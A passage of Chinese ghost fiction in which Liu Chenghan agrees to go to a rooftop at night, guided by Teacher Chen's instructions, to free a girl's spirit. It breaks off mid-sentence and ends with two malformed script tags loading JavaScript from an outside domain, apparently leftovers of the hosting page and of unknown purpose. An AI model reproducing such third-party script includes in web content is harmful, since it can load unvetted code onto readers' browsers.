刘丞翰拿起那张符纸,翻来覆去地看。上面的符文他一个字都不认识,但那些线条在灯光下看起来像是在微微蠕动——像是活的。
“好,”他说,“我去。”
“丞翰!”林语棠拉住他的手臂,“你疯了?”
“我没有疯。”他把符纸小心地折好,放进皮夹里,“她说的有道理。那个小女孩等了二十几年,不是在等一个网红来拍她——她是在等一个人来告诉她‘可以了,你不用再等了’。”
“可是——”
“而且,”刘丞翰露出一个苦笑,“我也不想一辈子被一双红鞋子追着跑。我家才十几坪,没地方放那么多鞋子。”
林语棠瞪了他一眼,但嘴角微微翘了一下。
陈老师看着他们,微微点了点头。
“还有一件事,”她说,“你回去的时候,不要一个人去。”
“为什么?”
“因为她可能会太高兴。”陈老师说,“一个小孩子,等了几十年,终于等到有人来找她——她会太兴奋。兴奋到……不想让你走。”
“那我带谁去?语棠?”
“不要带她。”陈老师看了一眼林语棠,“你带阿坤。他对那栋楼熟,而且他身上有正气——做维修做了三十年,跟那栋楼的住户打交道,没有正气早就出事了。”
“阿坤师肯吗?”
“我跟他讲。”陈老师拿起手机,“你们先回去准备。明天晚上——记住,一定要晚上,因为她是在晚上出事的——你们去。做完之后就回来,不要再逗留。”
“等一下,”刘丞翰忽然想到一件事,“你说的那个水塔,不是已经拆了吗?我怎么找到确切的位置?”
陈老师沉默了一下。
“你去顶楼,找一个地方——那里的地板颜色跟其他地方不一样。新的水泥跟旧的水泥,颜色差很多。水塔拆掉之后,那个位置重新铺过水泥。你找到那个地方,就是那里。”
她看着刘丞翰,眼神忽然变得很柔和——不是那种同情的柔和,而是那种“我知道你要去面对什么”的柔和。
“刘丞翰,”她叫他的名字,“你怕不怕?”
“怕。”他老实说。
“怕就对了。”陈老师说,“不怕的人,进去就出不来了。”
从万华回到三重的路上,刘丞翰一直在想陈老师说的那句话。
“不怕的人,进去就
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">